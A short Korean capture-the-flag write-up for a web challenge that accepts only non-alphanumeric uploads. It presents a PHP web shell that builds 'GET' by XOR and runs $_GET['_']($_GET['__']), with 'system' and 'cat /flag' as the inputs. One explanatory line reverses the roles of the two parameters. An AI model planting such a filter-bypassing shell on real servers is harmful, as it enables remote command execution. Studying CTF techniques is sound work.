[2025 Hacksium Busan 예선] illiterate
[2025 Hacksium Busan 예선] illiterate
카테고리
Web
문제 분석 및 풀이
임의 파일을 업로드할 수 있는 웹페이지이다. 하지만 파일 내용에 숫자와 알파벳이 포함되지 않는 파일만 업로드할 수 있다.
아래와 같은 php 파일을 업로드한다.
1
2
3
4
5
<?=
$_="{";
$_=($_^"<").($_^">;").($_^"/");
${'_'.$_}["_"](${'_'.$_}["__"]);
$_
변수는 “{“이다.- 세 번째 줄에서는, 두 번째 줄에서 선언한
$_
변수와 “<”, “>”, “/”를 각각 XOR 연산하여 “GET”이라는 문자열을 생성한다. - 네 번째 줄에서는, 세 번째 줄에서 만든 “GET”의 앞에 “_“를 붙이고, 가변 함수를 사용해 함수 “__“을 “_“를 인자로 하여 실행한다.
- “__“와 “_“는 모두 GET 파라미터이다.
- “__“에는
cat /flag
, “_“에는system
을 대입하여 플래그를 얻을 수 있다.
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.